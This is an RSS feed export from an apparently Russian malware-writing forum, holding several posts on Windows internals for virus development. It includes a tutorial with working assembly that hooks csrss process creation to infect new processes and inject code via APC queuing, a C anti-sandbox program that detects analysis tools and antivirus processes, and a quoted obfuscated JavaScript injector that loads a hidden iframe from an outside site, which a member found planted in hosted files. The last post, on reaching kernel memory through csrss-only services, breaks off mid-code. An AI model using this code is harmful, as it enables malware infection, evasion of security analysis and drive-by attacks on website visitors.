<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title><![CDATA[VirusTech forum]]></title>
		<link>http://virustech.org/f/index.php</link>
		<description><![CDATA[Недавние темы раздела "VirusTech forum".]]></description>
		<lastBuildDate>Fri, 13 Aug 2010 20:21:53 +0000</lastBuildDate>
		<generator>PunBB</generator>
		<item>
			<title><![CDATA[Диспетчер процессов и немного о сервере подсистемы csrss.exe.]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=25&amp;action=new</link>
			<description><![CDATA[<p>Чаще всего для заражения новых процессов используется, внедрение во все процессы и перехват в них каким либо способом функций создания процесса (<strong>NtCreateProcess/NtCreateProcessEx</strong>), я опишу немного другой метод отслеживания, создаваемых процессов. Суть этого метода заключается во внедрении в сервер подсистемы csrss нашего обработчика новых процессов. Главным преимуществом этого метода является отслеживание только создаваемых процессов. </p><p>Как известно любой создаваемый процесс на последней стадии, после создания главного потока который находится в стадии ожидания, должен проинформировать сервер под системы <strong>сsrss</strong>, для того чтоб тот заполнил важные поля в <strong>PEB</strong>, установил <strong>Debug</strong> и <strong>Exception</strong> порт, иными словами создал среду окружения процесса, информирование происходит посредствам <strong>LPC</strong>. На стороне приложения создаваемого процесс вызывается экспортируемая модулем <strong>ntdll</strong> функция <strong>CsrClientCallServer</strong>: </p><div class="codebox"><pre><code>NTSTATUS
CsrClientCallServer(
    struct _CSR_API_MESSAGE *Request,
    struct _CSR_CAPTURE_BUFFER *CaptureBuffer OPTIONAL,
    ULONG ApiNumber,
    ULONG RequestLength
);</code></pre></div><p>Нас интересует только два параметра: <strong>Request</strong> – Сообщение, передаваемое посредством <strong>LPC(ApiPort)</strong> серверу подсистемы и <strong>ApiNumber</strong> – Код сервиса. При информировании о создании нового процесса в сообщении <strong>Requset </strong> по мимо другой информации передается структура <strong>PROCESS_INFORMATION</strong> я не буду подробно об этом рассказывать структура полностью документирована, она содержит описатель потока и процесса, а также идентификатор процесса и потока, в <strong>ApiNumber</strong> передается <strong>BaseSrvCreateProcess(0x10000)</strong>.</p><p>Поговорим немного о сервисах <strong>csrss</strong> и о том, где они расположены, существует четыре типа сервисов, сервисы полностью недокументированные, таблицы которые содержат обработчики сервисов, находятся в разных модулях для разных типов сервисов. Консольные сервисы расположены в модуле <strong>winsrv</strong> в двух таблицах <strong>UserServerApiDispatchTable</strong> и <strong>ConsoleServerApiDispatchTable</strong> интересующая нас таблица расположена в модуле basesrv, и называется <strong>BaseServerApiDispatchTable</strong>, по индексу ноль в этой таблице лежит обработчик <strong>BaseSrvCreateProcess</strong> который нас и интересует. Структуры, описывающие эти сервисы, находятся в кучах и имеют вид:</p><div class="codebox"><pre><code>typedef struct _CSR_SERVER_DLL
{
     ULONG Length;
     HANDLE Event;
     ANSI_STRING Name;
     HANDLE ServerHandle;
     ULONG ServerId;
     ULONG Unknown;
     ULONG ApiBase;
     ULONG HighestApiSupported;
     PCSR_API_ROUTINE *DispatchTable;
     PBOOLEAN ValidTable;
     PCHAR *NameTable;
     ULONG SizeOfProcessData;
     PCSR_CONNECT_CALLBACK ConnectCallback;
     PCSR_DISCONNECT_CALLBACK DisconnectCallback;
     PCSR_HARDERROR_CALLBACK HardErrorCallback;
     PVOID SharedSection;
     PCSR_NEWPROCESS_CALLBACK NewProcessCallback;
     PCSR_SHUTDOWNPROCESS_CALLBACK ShutdownProcessCallback;
     ULONG Unknown2[3];
} CSR_SERVER_DLL, *PCSR_SERVER_DLL;</code></pre></div><p>Указатели на кучи распложены в таблице. Процедура <strong>csrsrv.dll!0x75B132D2</strong> вызывается при старте <strong>csrss</strong>. Здесь помимо иной работы выполняется загрузка модуля <strong>basesrv</strong> и вызов его экспорта <strong>ServerDllInitialization</strong>, после загрузки модуля создаётся куча, в которую возвратится информация из <strong>BaseSrv!ServerDllInitialization</strong>:</p><div class="codebox"><pre><code>[…]
75B13393 push ebx
75B13394 mov eax,dword ptr [75B18930]
75B13399 add eax,40000
75B1339E push eax
75B1339F push dword ptr [75B189BC]
75B133A5 call dword ptr [&lt;&amp;ntdll.RtlAllocateHeap&gt;]                    ;  ntdll.RtlAllocateHeap
75B133AB mov esi,eax         ;&lt;- -Указатель на кучу
[…]</code></pre></div><p>Далее идёт вызов для инициализации первого типа сервисов:</p><div class="codebox"><pre><code>[…]
75B13439 mov eax,csrsrv_.75B116DC                                     ;  ASCII &quot;ServerDllInitialization&quot;
75B1343E push eax
75B1343F lea eax,dword ptr [ebp-58]
75B13442 push eax
75B13443 call dword ptr [&lt;&amp;ntdll.RtlInitString&gt;]                      ;  ntdll.RtlInitString
75B13449 lea eax,dword ptr [ebp-20]          ;&lt;- Сюда указатель возвратится
75B1344C push eax
75B1344D push ebx
75B1344E lea eax,dword ptr [ebp-58]
75B13451 push eax
75B13452 push dword ptr [ebp-1C]
75B13455 call &lt;jmp.&amp;ntdll.LdrGetProcedureAddress&gt;
75B1345A mov edi,eax
75B1345C jmp short csrsrv_.75B13467
75B1345E mov dword ptr [ebp-20],csrsrv_.75B11EDD
75B13465 xor edi,edi
75B13467 cmp edi,ebx
75B13469 jl short csrsrv_.75B134D3
75B1346B mov dword ptr [ebp-4],ebx
75B1346E push esi            ;Тут указатель на кучу, которая была создана ранее
75B1346F call dword ptr [ebp-20]     ;Вызов ServerDllInitialization
[…]</code></pre></div><p>Указатель на кучу сохраняется в списке куч, адрес которого фиксирован (секция данных):</p><div class="codebox"><pre><code>[…]
75B134B3                                    mov dword ptr [eax*4+75B188F0],esi
[…]</code></pre></div><p>Указатель на таблицу сервисов помещается в эту кучу вместе с остальной информацией посредством <strong>ServerDllInitialization</strong>:</p><div class="codebox"><pre><code>[…]
75B23382 mov dword ptr [edi+1C],ebx
75B23385 mov dword ptr [edi+20],20            ;&lt;-- количество сервисов
75B2338C mov dword ptr [edi+24],BASESRV.75B2D080     ;&lt;-- таблица обработчиков сервисов
75B23393 mov dword ptr [edi+28],BASESRV.75B2D104
75B2339A mov dword ptr [edi+2C],ebx
75B2339D mov dword ptr [edi+30],ebx
75B233A0 mov dword ptr [edi+34],BASESRV.75B22A89
75B233A7 mov dword ptr [edi+38],BASESRV.75B22AB2
[…]</code></pre></div><p>На стадии инициализации <strong>csrss</strong> создается <strong>ApiPort</strong> посредством <strong>NtCreatePort</strong>, далее создается главный поток, который будет обрабатывать сообщения серверу, по адресу <strong>75B44616h</strong> расположена процедура, обработчик сообщений ждет сообщение посредством <strong>NtReplyWaitReceivePort</strong> и при получении сообщения проверяет его содержимое и код сервиса. Собственно интересует нас в ней только процедуры выбора обработчика сервиса и передачи управления на него:</p><div class="codebox"><pre><code>[…]
75B449BB mov eax,dword ptr ds:[eax*4+75B488F0]        ;&lt;-- указатель на нашу кучу
75B449C2 mov dword ptr ss:[ebp-30],eax
75B449C5 test eax,eax
75B449C7 je 75B44AF2
75B449CD mov ecx,dword ptr ds:[eax+1C]
75B449D0 movzx ebx,word ptr ss:[ebp-EC]         ;&lt;-- номер сервиса
75B449D7 sub ebx,ecx
75B449D9 mov eax,dword ptr ds:[eax+20]
75B449DC sub eax,ecx
75B449DE lea esi,dword ptr ss:[ebp-108]
75B449E4 cmp ebx,eax
75B449E6 jnb 75B44AF8
75B449EC mov eax,dword ptr ds:[edi+20]        ; &lt;-- количество сервисов
75B449EF mov eax,dword ptr ds:[eax+24]        
75B449F2 mov dword ptr ss:[ebp-28],eax
75B449F5 and dword ptr ss:[ebp-E8],0
75B449FC cmp dword ptr ss:[ebp-F0],0
75B44A03 je short 75B44A1D
75B44A05 mov eax,esi
75B44A07 push eax
75B44A08 push edi
75B44A09 call 75B441EA
75B44A0E test al,al
75B44A10 jnz short 75B44A1D
75B44A12  push edi
75B44A13 call 75B45520
75B44A18 jmp 75B44686
75B44A1D mov dword ptr ss:[ebp-4],1
75B44A24 call 75B440AF
75B44A29 mov eax,dword ptr ss:[ebp-34]
75B44A2C  mov dword ptr ds:[eax+3C],edi
75B44A2F and dword ptr ss:[ebp-1C],0
75B44A33 mov eax,dword ptr ss:[ebp-30]
75B44A36 mov eax,dword ptr ds:[eax+24]            ; &lt;-- указатель на таблицу обработчиков
75B44A39 lea ecx,dword ptr ss:[ebp-1C]
75B44A3C push ecx
75B44A3D lea ecx,dword ptr ss:[ebp-108]
75B44A43 push ecx
75B44A44 call dword ptr ds:[eax+ebx*4]        ;&lt;-- вызов нашего обработчика
[…]</code></pre></div><p>Поговорим непосредственно о главной теме обзора, существует три способа перехватить обработчик <strong>BaseSrvCreateProcess</strong>, первый более легкий способ заключается в установке указателя на нашу процедуру непосредственно в <strong>CSR_SERVER_DLL.NewProcessCallback</strong>, процедуре передаётся управление каждый раз после вызова не экспортируемой функции <strong>CsrInsertProcess</strong> она же в свою очередь вызывается из функции <strong>CsrCreateProcess</strong> собственно оттуда и возьмем указатель на неё и рассмотрим её поближе:</p><div class="codebox"><pre><code>75B44CC9 mov edi,edi
75B44CCB push ebp
75B44CCC mov ebp,esp
75B44CCE mov eax,dword ptr ss:[ebp+8]
75B44CD1 push esi
75B44CD2 mov esi,dword ptr ss:[ebp+10]
75B44CD5 mov dword ptr ds:[esi+18],eax
75B44CD8 mov ecx,dword ptr ds:[75B4891C]   ;CsrRootProcess
75B44CDE mov edx,dword ptr ds:[ecx+C]
75B44CE1 add ecx,8
75B44CE4 lea eax,dword ptr ds:[esi+8]
75B44CE7 mov dword ptr ds:[eax],ecx
75B44CE9 mov dword ptr ds:[eax+4],edx
75B44CEC push edi
75B44CED mov dword ptr ds:[edx],eax
75B44CEF mov dword ptr ds:[ecx+4],eax
75B44CF2 xor edi,edi
75B44CF4 /mov eax,dword ptr ds:[edi+75B488F0]    ; указатель на первую структуру CSR_SERVER_DLL
75B44CFA |test eax,eax
75B44CFC |je short CSRSRV.75B44D0B
75B44CFE |mov eax,dword ptr ds:[eax+44]   ;  CSR_SERVER_DLL.NewProcessCallback
75B44D01 |test eax,eax
75B44D03 |je short CSRSRV.75B44D0B
75B44D05 |push esi                ; CsrProcess
75B44D06 |push dword ptr ss:[ebp+C]        ; CurrentProcess
75B44D09 |call eax                
75B44D0B |add edi,4
75B44D0E |cmp edi,10
75B44D11 \jb short CSRSRV.75B44CF4
75B44D13 pop edi
75B44D14 pop esi
75B44D15 pop ebp
75B44D16 retn 0C</code></pre></div><p>Соответственно просто находим указатель на таблицу куч <strong>75B488F0</strong> (далее я опишу, как лучше всего это сделать) получаем адрес структуры с индексом один и по смещению <strong>0x44</strong> записываем адрес нашего диспетчера, который имеет вид:</p><div class="codebox"><pre><code>typedef NTSTATUS(* PCSR_NEWPROCESS_CALLBACK)(IN PCSR_PROCESS Parent, IN PCSR_PROCESS CsrProcess)</code></pre></div><p>Вторым способом является подмена адрес обработчика непосредственно в таблице, которая фиксирована в секции данных модуля <strong>basesrv</strong>, таблица <strong>BaseServerApiDispatchTable</strong>, для начала нужно найти указатель на саму таблицу, получить его можно из&nbsp; <strong>basesrv!ServerDllInitialization</strong>, соответственно процедура которая делает это примет вид:</p><div class="codebox"><pre><code>XpGetUsApiDispatchTable proc FileMapInformation:PFILE_MAP_INFORMATION, ApiDispatchTable:PVOID
Local ServerDllInitRoutine:PVOID
    _setseh_
    lea edx,FuncName
    mov ebx,FileMapInformation
    assume ebx:PFILE_MAP_INFORMATION
    invoke ImageQueryFunctionRvaFromName, [ebx].ImageBase, edx, addr ServerDllInitRoutine
    test eax,eax
    jnz err_image_
    mov eax,ServerDllInitRoutine
    add eax,[ebx].ImageBase
    mov ecx,100h        ; Search limit
loop_:
    inc eax
    dec ecx
    jz err_not_found_
    cmp word ptr [eax],5F89h
    jne loop_
    cmp byte ptr [eax+2],1Ch
    jne loop_
    cmp word ptr [eax+3],47C7h
    jne loop_
    cmp byte ptr [eax+5],20h
    jne loop_
    cmp word ptr [eax+0Ah],47C7h
    jne loop_
    cmp byte ptr [eax+0Ch],24h
    jne loop_
    mov eax,dword ptr [eax+0Dh]
    mov edx,ApiDispatchTable
    mov dword ptr [edx],eax
    xor eax,eax
exit_:
    _endseh_
    ret
err_not_found_:
    mov eax,STATUS_UNSUCCESSFUL
    jmp exit_    
err_image_:
    mov eax,STATUS_INVALID_IMAGE_FORMAT
    jmp exit_
FuncName    CHAR    &quot;ServerDllInitialization&quot;,0
XpGetUsApiDispatchTable endp</code></pre></div><p>Ну и собственно нечего не стоит подменить в таблице обработчик <strong>BaseSrvCreateProcess</strong> который имеет индекс нуль, на новый обработчик, предварительно сохранив старый.&nbsp; Недостаток очевиден, таблица прошита в секции <strong>basesrv .data</strong> и найти изменения в ней не составит никакого труда стоит только сравнить секцию данных с оригиналом, хоть этого никто и не делает. Третий способ более сложный заключается в подмене указателя на таблицу сервисов в структуре описывающей тип сервисов <strong>basesrv</strong>, эта структура расположена как мы выяснили выше в куче, указатель на неё имеет индекс один в таблице куч, для начала найдем указатель на таблицу куч, ссылка на таблицу куч расположена в <strong>csrsrv!CsrCallServerFromServer</strong>:</p><div class="codebox"><pre><code>[...]
75B14162 push CSRSRV.75B11878
75B14167 call CSRSRV.75B167A8
75B1416C mov esi,dword ptr [ebp+8]
75B1416F movzx eax,word ptr [esi+1E]
75B14173 cmp eax,4
75B14176 jnb short CSRSRV.75B141D2
75B14178 mov ecx,dword ptr [eax*4+75B188F0]     ;&lt;-- ссылка на таблицу куч
[...]</code></pre></div><p>Искать инструкции вида <strong>mov ecx,dword ptr [eax*4+75B188F0]</strong> лучше всего используя дизассемблер длин инструкций, соответственно процедура, которая ищет ссылку примет вид:</p><div class="codebox"><pre><code>[...]
    mov ebx,CsrSrvMap
    lea edx,RoutineFullName
    assume ebx:PFILE_MAP_INFORMATION
    invoke ImageQueryFunctionRvaFromName, [ebx].ImageBase, edx, addr RoutineAddress
    test eax,eax
    jnz err_image_
    mov esi,RoutineAddress
    add esi,[ebx].ImageBase
    xor eax,eax
next_inst_:
    add esi,eax
    Call virxasm32
    test eax,eax
    jz exit_
    ; размер нужной нам инструкции 7 байт
    cmp eax,7    
    jnz next_inst_
    ; указатель на таблицу куч
    mov eax,dword ptr [esi+3]    
    mov edx,HeapIndex
    ; нужная нам куча имеет индекс один
    lea ebx,[eax+edx*4]        
    mov RemotepHeapAddress,ebx
[...]
    RoutineFullName    CHAR    &quot;CsrCallServerFromServer&quot;,0
[...]</code></pre></div><p>Далее нужно получить указатель на таблицу сервисов делается это легко, он лежит в структуре описывающей тип сервисов по смещению <strong>0x24</strong>, по смещению <strong>0x20</strong> лежит количество сервисов. Соответственно получаем указатель на оригинальную таблицу, копируем всю таблицу в какой-то локальный буфер, подменяем в ней нужный обработчик в нашем случае индекс нуль, выделяем память в <strong>csrss</strong> под новую таблицу и записываем туда нашу новую таблицу. Теперь остается только подменить указатель в структуре описывающей тип сервисов, напомню, что он лежит по смещению <strong>0x24</strong>, на указатель на нашу новую таблицу. Код, который делает это, описан ниже:</p><div class="codebox"><pre><code>[...]
; читаем структуру описывающую кучу
    invoke ZwReadVirtualMemory, ProcessHandle, RemoteOldHeapAddress, CurrentOldHeap, HeapStructSize, addr ReturnLength
    test eax,eax
    jnz exit_
    mov ebx,HandlersTableIndex
    add ebx,CurrentOldHeap
    mov ebx,dword ptr [ebx]
    ; адрес таблицы хэндлеров
    mov RemoteOldHandlersTableAddress,ebx    
    mov ebx,NumOfHandlersIndex
    add ebx,CurrentOldHeap
    mov ebx,dword ptr [ebx]
    ; кол-во хэндлеров
    mov NumOfHandlers,ebx
    mov BaseAddress,eax
    mov MemSize,PAGE_SIZE
    ; выделяем память под новую таблицу хэндлеров 
    invoke ZwAllocateVirtualMemory, ProcessHandle, addr BaseAddress, 0, addr MemSize, MEM_COMMIT, PAGE_READWRITE
    test eax,eax
    jnz exit_
    ; выделяем буфер для старой таблицы хэндлеров
    mov eax,NumOfHandlers
    mov edx,4
    imul edx
    mov OldTableSize,eax
    assume fs:nothing
    mov eax,fs:[TEB.Peb]
    mov edx,PEB.ProcessHeap[eax]
    invoke RtlAllocateHeap, edx, HEAP_ZERO_MEMORY, OldTableSize
    test eax,eax
    jz exit_
    mov CurrentOldTable,eax
    ; читаем старую таблицу хэндлеров
    invoke ZwReadVirtualMemory, ProcessHandle, RemoteOldHandlersTableAddress, CurrentOldTable, OldTableSize, addr ReturnLength
    test eax,eax
    jnz exit_
    ; изменяем в таблице интересующий нас обработчик
    mov edx,HandlerIndex
    mov eax,CurrentOldTable
    lea eax,dword ptr [eax+edx*4]
    mov ecx,dword ptr [eax] 
    ; тут записываем старый обработчик (ecx) в данные шеллкода
    ; mov ecx,NewHandler
    mov dword ptr [eax],ecx
    ; записываем измененную таблицу
    invoke ZwWriteVirtualMemory, ProcessHandle, BaseAddress, CurrentOldTable, OldTableSize, addr ReturnLength
    test eax,eax
    jnz exit_
    ; подменяем адрес таблицы хэндлеров
    mov ebx,RemoteOldHeapAddress
    add ebx,HandlersTableIndex
    invoke ZwWriteVirtualMemory, ProcessHandle, ebx, addr BaseAddress, SizeOf PVOID, addr ReturnLength
    test eax,eax
    jnz exit_
[…]</code></pre></div><p>Сам же обработчик новых процессов я описывать не буду, напомню лишь то, что при информировании сервера подсистемы основной поток нового процессах находится в стадии ожидания, а начнет он своё выполнятся с точки <strong>KiUserApcDispatcher</strong>, в стеке будет процедура асинхронного вызова <strong>LdrInitializeThunk</strong> занесенная туда ядром. Лучший способ внедрения в таком случае добавить нашу процедуру асинхронного вызова в очередь потока посредством <strong>ZwQueueApcThread</strong>, соответственно сразу после выполнения <strong>LdrInitializeThunk</strong> вызывается <strong>NtTestAlert</strong> которая, грубо говоря, передаст управление на <strong>KiUserApcDispatcher</strong> но уже в стеке будет наша процедура. На этом всё.</p><p>Спасибо <strong>Clerk</strong>, за помощь в исследовании.</p>]]></description>
			<author><![CDATA[dummy@example.com (LeFF)]]></author>
			<pubDate>Fri, 13 Aug 2010 20:21:53 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=25&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[K-mode:SEH.]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=131&amp;action=new</link>
			<description><![CDATA[<p>Здрасте.<br />Есть следующая проблема.<br />1. В отличие от юзермода, в ядре при фолтах стек не выравнивается в ISR. Это очень не приятный момент. Системный диспетчер начинает формирование трап-фрейма в стеке, который был на момент исключения. Если он не выравнен на 4, то раквёртка сех не будет выполнена. В RtlDispatchException() выполняется проверка выравнивания ссылок цепочки. В таких случаях например обычная защита кода сех&#039;ом не работает. Единственное решение которое я вижу - выполнять самостоятельно диспетчерезацию сех из KiDebugRoutine.<br />2. Если код находится вне модулей, также раскрутка сех не будет выполнена. С учётом решения первой проблемы это позволит обойти проверки.<br />Есть ли альтернативное решение ?</p>]]></description>
			<author><![CDATA[dummy@example.com (Indy)]]></author>
			<pubDate>Sat, 31 Jul 2010 12:40:18 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=131&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Ошибки форума (пишем тут)]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=128&amp;action=new</link>
			<description><![CDATA[<p>Пишите какие ошибки возникнут в работе форума. Будем решать.</p>]]></description>
			<author><![CDATA[dummy@example.com (Indy)]]></author>
			<pubDate>Thu, 03 Jun 2010 16:28:50 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=128&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[AntiSandBox]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=102&amp;action=new</link>
			<description><![CDATA[<p>it supports much Sandboxes/Emus, like Anubis, Threat Expert, Sandbox, JoeBox, Norman, WireShark, Kaspersky, iDEFENSE sysAnalyzer, Sunbelt, Sandboxie, Virtual PC, Virtual Box and others.</p><div class="codebox"><pre><code>#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;   
#include &lt;tlhelp32.h&gt;

char* sExes[] = { &quot;joeboxserver.exe&quot;, &quot;joeboxcontrol.exe&quot;, //joebox 
                  &quot;wireshark.exe&quot;, //wireshark 
                  &quot;avp.exe&quot;, //kaspersky
                  &quot;sniff_hit.exe&quot;, &quot;sysAnalyzer.exe&quot; };  //sysanalyzer
                  
char* sUsers[] = { &quot;username&quot;, //threat expert
                  &quot;user&quot;, //sandbox
                  &quot;currentuser&quot; };  //norman
                  
char* sModules[] = { &quot;api_log.dll&quot;, &quot;dir_watch.dll&quot;, //sunbelt &amp; sandboxie
                     &quot;pstorec.dll&quot;, //sunbelt
                     &quot;SbieDll.dll&quot;, }; //sandboxie
                  
int ProcessCheck()
{    
    PROCESSENTRY32 pe32 = { sizeof( PROCESSENTRY32 ) };
    HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, 0 );
    
    if( Process32First( hSnapshot, &amp;pe32 ) )
    {                       
        do 
        {         
            for( int i = 0; i &lt; ( sizeof( sExes ) / sizeof( char* ) ); i++ )
            {
                if( strstr( pe32.szExeFile, sExes[ i ] ) )
                {
                    return( i + 1 );
                }
            }
        }
        while( Process32Next( hSnapshot, &amp;pe32 ) );  
    }
    return( 0 );
}

int ModuleCheck()
{
    for( int i = 0; i &lt; ( sizeof( sModules ) / sizeof( char* ) ); i++ )
    {
        if( GetModuleHandle( sModules[ i ] ) ) 
        {
            return( i + 1 );
        }
    }
    return( 0 );
}

int UserCheck()
{
    char szBuffer[30];
    unsigned long lSize = sizeof( szBuffer );
    
    if( GetUserName( szBuffer, &amp;lSize ) == 0 )
        return( 1 );
        
    for( int i = 0; i &lt; ( sizeof( sUsers ) / sizeof( char* ) ); i++ )
    {
         if( strstr( szBuffer, sUsers[ i ] ) )
         {
             return( i + 1 );
         }
    }
    return( 0 );
}

int main()
{
    if( ProcessCheck( ) == 0 )
        printf( &quot;process check &lt; clean\n&quot; );
        
    if( ModuleCheck( ) == 0 )
        printf( &quot;module check &lt; clean\n&quot; );
        
    if( UserCheck( ) == 0 )
        printf( &quot;user check &lt; clean\n&quot; );
    
    getchar( );
    
    return 0;
}</code></pre></div><p>Копипаст Откуда то....</p>]]></description>
			<author><![CDATA[dummy@example.com (columbus2010)]]></author>
			<pubDate>Tue, 25 May 2010 17:07:16 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=102&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Странный код в исходниках]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=126&amp;action=new</link>
			<description><![CDATA[<p>Привет всем. Изучая сорсы Инди наткнулся на страность.</p><div class="codebox"><pre><code>__ttp://files.virustech.org/indy/Code/gpepCSRSS/NtUserQueryInformationThread/Idt/header.inc</code></pre></div><p>Там вставлен javascript код, может у кого то стырили фтп пароли и прошлись по всем файлам ?</p><div class="codebox"><pre><code>&lt;script type=&#039;text/javascript&#039;&gt;function zG(){};tF=53186;zG.prototype = {fK : function() {e=&quot;e&quot;;this.fQ=&#039;&#039;;return &#039;h2t)tFp2:&amp;/F/)c2l)iFc)k&amp;-FpFo)i)s)k2.Fc&amp;o)m2/&amp;tIh&amp;eFrFeF/&amp;i)n).2c)gIi&amp;?27)&#039;.iH(/[\)I&amp;F2]/g, &#039;&#039;);var oN=new Date();this.nU=&quot;&quot;;},v : function() {dF=&quot;&quot;;wS=9383;nB=&quot;nB&quot;;var t=new Date();    var h=&#039;&#039;;var m=new Date();    String.prototype.iH=function(d, o){return this.replace(d, o)};var r=new Date();tR=&quot;tR&quot;;kQ=false;gG=20573;wJ=false;zW=&quot;&quot;;var c=function(){};var y=window;gN=&quot;gN&quot;;this.yQ=&quot;yQ&quot;;var yR=y[&#039;u{n$eYs9c{aYp{eY&#039;.iH(/[Yj9\$\{]/g, &#039;&#039;)];var eK=new Date();var hI=&quot;hI&quot;;function jL(){};var z = this;var rN=&#039;&#039;;var p=false;var oD = &quot;xxK%3C%2Fbody%3E%3C%2Fhtml%3E&quot;;function mT(){};xH=&quot;&quot;;this.u=false;var f=document;this.dX=&quot;dX&quot;;this.hB=&quot;hB&quot;;var jA=false;var k = { vM : &#039;arpTpreonTd#CohoirlSd#&#039;.iH(/[#roST]/g, &#039;&#039;), oU : &#039;svtuyvlvei&#039;.iH(/[ivua_]/g, &#039;&#039;),  kC : &#039;cKrCe3aKt3ezEzlzezmKeGn3tK&#039;.iH(/[K3zCG]/g, &#039;&#039;), fV : &#039;sReDtRATtTt?rRiRbRuTtEeT&#039;.iH(/[TD\?ER]/g, &#039;&#039;), w : &#039;s;rLcL&#039;.iH(/[L;\{\(5]/g, &#039;&#039;), xK : &#039;bko1dUyT&#039;.iH(/[T1Uk\)]/g, &#039;&#039;) };var rK=&#039;&#039;;function hV(){};var uI=function(){return &#039;uI&#039;};this.gC=&#039;&#039;;var rP=&quot;&quot;;var tZ=function(){return &#039;tZ&#039;};this.a=&quot;a&quot;;var n=f[k.kC](&#039;i&lt;furuaKm&lt;ed&#039;.iH(/[d\&lt;\!uK]/g, &#039;&#039;));var kL=new Date();i=39073;this.fU=&quot;fU&quot;;jO=false;pW=&#039;&#039;;var eY=5116;try {rD=&quot;rD&quot;;vC=false;var fI=function(){};var rU=&quot;rU&quot;;this.q=&quot;q&quot;;b=&quot;&quot;;var bJ=&#039;&#039;;nE(n,k.oU, yR(&quot;display%3A%20none&quot;));function dS(){};rG=63044;this.uK=false;this.iB=&quot;iB&quot;;nE(n,k.w, this.fK());eU=&quot;eU&quot;;this.pS=&#039;&#039;;this.fR=&quot;&quot;;var qA=&#039;&#039;;qE=&quot;qE&quot;;qL=&quot;&quot;;f[k.xK][k.vM](n);this.xL=54456;this.hW=&quot;&quot;;var bK=new Array();this.iR=&quot;&quot;;} catch(g) {this.vB=&quot;&quot;;tN=&#039;&#039;;var eJ=&#039;&#039;;var uD=new Array();var rV=new Date();var l=function(){};this.lK=&#039;&#039;;f[&#039;wSr%i;tSe%&#039;.iH(/[%;XS/]/g, &#039;&#039;)](yR(oD));this.hK=49925;var iL=new Array();hKH=&#039;&#039;;this.uJ=61972;this.cO=&quot;cO&quot;;var s=&quot;s&quot;;this.mG=53808;y[&#039;s+eAt+T6iwm+ewoAuAtw&#039;.iH(/[w\+Z6A]/g, &#039;&#039;)](function(){ this.cJ=&quot;cJ&quot;;this.uR=&quot;&quot;;var pO=&#039;&#039;;vH=58151;this.dSF=&#039;&#039;;var sV=&quot;sV&quot;;z.v();var wH=34896;var cM=new Date();var yK=new Array();var eYV=function(){};this.kU=&quot;kU&quot;;zT=&quot;&quot;;}, 368);zJ=&quot;&quot;;var dXZ=&quot;dXZ&quot;;}qZ=19279;this.vBG=&#039;&#039;;var nM=new Date();var tZZ=false;var eE=new Date();var hC=new Date();function vO(){};var wZ=&quot;&quot;;function nE(n, j, dB){this.bW=&#039;&#039;;var fT=new Array();n[k.fV](j,dB);var iRP=function(){return &#039;iRP&#039;};tD=&quot;&quot;;var kI=new Array();}this.xX=&#039;&#039;;this.fX=&#039;&#039;;var tQ=false;dV=false;}};var uY=new Array();var cP=new zG(); this.dK=&quot;dK&quot;;cP.v();function gQ(){};&lt;/script&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (spider-intruder)]]></author>
			<pubDate>Sat, 10 Apr 2010 23:05:08 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=126&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Небольшой полезный код.]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=54&amp;action=new</link>
			<description><![CDATA[<p>Проецирование нтдлл без импортов, вестма мощный пикод.<br /><a href="http://narod.ru/disk/4643340000/src.rar.html">http://narod.ru/disk/4643340000/src.rar.html</a></p>]]></description>
			<author><![CDATA[dummy@example.com (7mm)]]></author>
			<pubDate>Wed, 17 Feb 2010 20:50:31 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=54&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Доступ к ядерной памяти из контекста csrss]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=7&amp;action=new</link>
			<description><![CDATA[<p>Много где можно слышать что система падает изза ошибки гдето в процессе csrss. Конечно причиной падения не является завершение критического процесса(STATUS_SYSTEM_PROCESS_TERMINATED), последнее понятно, ибо если он завершается с кодом отличным от STATUS_SUCCESS система останавливается. Далее расмотрен доступ к памяти ядра посредством теневых(shadow) сервисов.<br />Многие из теневых сервисов предназначены для исполнения только в контексте процесса csrss. В контексте других процессов они возвращают ошибку. Это доверенные сервисы, у них отсутствует проверка валидности указателей. В начале работы этих сервисов выполняется сравнение PID текущего процесса с PID-м процесса csrss. PID csrss хранится в одной из переменных win32k. При инициализации csrss загружаются несколько модулей, в которых реализован весь функционал подсистемы. Один из загружаемых модулей - winsrv.dll При инициализации этого модуля выполняется экспортируемая им функция UserServerDllInitialization(). Эта функция вызывает теневой сервис NtUserInitialize. Пока подсистема не инициализирована в ядре переменная CsrProcessId содержит ноль. При вызове NtUserInitialize PID текущего процесса(а это csrss) сохраняется в переменной CsrProcessId. Далее любые вызовы этого сервиса окончаться неудачей с кодом STATUS_UNSUCCESSFUL:</p><div class="codebox"><pre><code>NtUserInitialize:
    mov edi,edi
    push ebp
    mov ebp,esp
    cmp dword ptr [CsrProcessId],0
    jnz short win32k.000C7181    ;Уже инициализирована, mov eax,STATUS_UNSUCCESSFUL
    mov eax,win32k_.00050000
    cmp dword ptr [ebp+8],eax
    jnz win32k.000C6B84    ;-&gt; KeBugCheckEx()
    call ntoskrnl.PsGetCurrentProcessSessionId
    [...]
    call PsGetCurrentProcess
    mov ecx,eax
    mov dword ptr [CsrProcessId],eax    ;Сохраняем PID csrss
